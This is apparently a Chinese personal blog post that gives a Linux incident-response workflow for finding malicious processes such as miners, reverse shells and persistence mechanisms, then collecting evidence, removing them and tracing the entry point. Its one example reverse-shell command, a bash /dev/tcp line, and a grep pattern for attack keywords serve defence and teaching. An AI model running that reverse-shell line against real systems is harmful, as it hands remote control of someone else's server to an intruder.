Linux 恶意进程排查与应急响应流程

在 Web 安全体系中，服务器层往往是最容易被忽视的一环。攻击者通过 Web 漏洞拿到 Shell 后，通常会在 Linux 系统上植入恶意进程，用于挖矿、反弹 Shell、端口转发或作为 C2 节点。能否快速识别并清除这些恶意进程，直接决定了应急响应的成败。本文从实战角度出发，梳理一套可落地的排查与响应流程。

一、恶意进程的常见类型

在动手排查之前，先了解对手通常留下什么：

• 挖矿木马：如 xmrig、kdevtmpfsi，表现为 CPU 占用长期接近 100%，进程名常伪装成 kworker、systemd 等系统进程。
• 反弹 Shell：通过 bash -i >& /dev/tcp/IP/PORT 0>&1 或 nc、socat 建立外连，维持对服务器的控制。
• 端口转发与代理：如 frp、ngrok、reGeorg，将内网服务暴露到公网。
• 持久化后门：写入 crontab、systemd service、/etc/rc.local、SSH authorized_keys，确保重启后仍能存活。

二、排查思路：从异常现象到进程定位

1. 发现异常信号

常见的报警来源包括：CPU/内存告警、外连流量异常、安全设备告警、Web 日志中出现可疑命令执行。收到告警后，不要急于 kill 进程，先保留现场。

2. 定位可疑进程

# 按 CPU 排序，找出高占用进程
top -c -o %CPU
ps aux --sort=-%cpu | head -20

# 查看进程的完整命令行、父进程、启动时间
ps -eo pid,ppid,user,lstart,cmd --sort=start_time

# 查看进程打开的文件与网络连接
lsof -p <PID>
ls -l /proc/<PID>/exe    # 查看可执行文件真实路径
ls -l /proc/<PID>/cwd    # 查看工作目录
cat /proc/<PID>/cmdline | tr '\0' ' '

重点关注：进程名与路径不符（如 /tmp/systemd）、可执行文件已被删除（/proc/PID/exe 显示 (deleted)）、父进程为 1 但启动时间异常。

3. 排查网络连接

# 查看所有外连及对应进程
ss -antp
netstat -antp

# 过滤 ESTABLISHED 状态的外连
ss -antp state established

# 结合进程查看
lsof -i -n -P | grep ESTABLISHED

对于可疑 IP，可通过 whois、威胁情报平台确认是否为恶意 C2 地址。

4. 检查持久化机制

# 定时任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.*/
ls -la /var/spool/cron/

# 开机自启
systemctl list-unit-files --state=enabled
cat /etc/rc.local
ls -la /etc/init.d/

# SSH 后门
cat ~/.ssh/authorized_keys
cat /etc/ssh/sshd_config | grep -v '^#'

# 动态链接库劫持
cat /etc/ld.so.preload

/etc/ld.so.preload 是 rootkit 常用的隐藏手段，一旦被写入恶意 so 文件，ps、ls 等命令的输出都会被篡改，排查时务必优先检查。

三、应急响应流程

第一步：隔离与取证

在确认恶意进程后，先断网或限制出站流量，防止攻击者继续操作或数据外泄。同时对关键证据进行备份：

# 保存进程信息
ps auxf > /tmp/ir/ps.txt
ss -antp > /tmp/ir/net.txt
lsof -p <PID> > /tmp/ir/lsof.txt

# 保存可执行文件（若未被删除）
cp /proc/<PID>/exe /tmp/ir/sample.bin

# 保存内存镜像（可选，需工具支持）

第二步：终止进程与清除

# 先停止父进程，避免子进程被重新拉起
kill -STOP <PPID>
kill -9 <PID>

# 删除恶意文件
rm -f /tmp/xxx /var/tmp/xxx

# 清除 crontab、systemd 服务、authorized_keys 中的恶意条目

注意：部分木马带有守护进程，kill 后会自动重启。此时需要先找到守护进程（通常是父进程或另一个隐藏进程），一并清除。

第三步：溯源与加固

清除只是第一步，更重要的是找到入侵入口。检查 Web 日志中的可疑请求：

# 查找命令执行、文件上传等特征
grep -Ei "eval|base64|wget|curl|/tmp/" /var/log/nginx/access.log

同时参考《Linux 服务器安全加固清单》进行系统性加固：关闭不必要的端口、限制 SSH 登录来源、启用 SELinux/AppArmor、定期更新补丁。

四、常见误区

• 只 kill 不溯源：攻击者留有的后门未清除，很快会再次入侵。
• 依赖被篡改的命令：rootkit 环境下 ps、netstat 输出不可信，应使用静态编译的 busybox 或从可信介质启动排查。
• 忽略 Web 层：服务器被入侵往往源于 Web 漏洞，如 XSS 窃取 Cookie 后登录后台、SQL 注入写入 Webshell。修复 Web 层漏洞（参考《XSS 的常见方式和前端如何防御》《MySQL 防止 SQL 注入的几种写法》）才能从根本上阻断。

五、总结

Linux 恶意进程排查的核心是“先取证、再清除、后溯源”。排查时从 CPU、网络、持久化三个维度入手，响应时遵循隔离、取证、清除、加固的流程。日常运维中，建议部署主机入侵检测（HIDS）、定期巡检 crontab 与 systemd 服务，将应急响应从被动变为主动。安全是一场持续对抗，只有把服务器层和 Web 层的防御结合起来，才能构建真正有效的防护体系。

未经允许不得转载：任鹏个人博客 » Linux 恶意进程排查与应急响应流程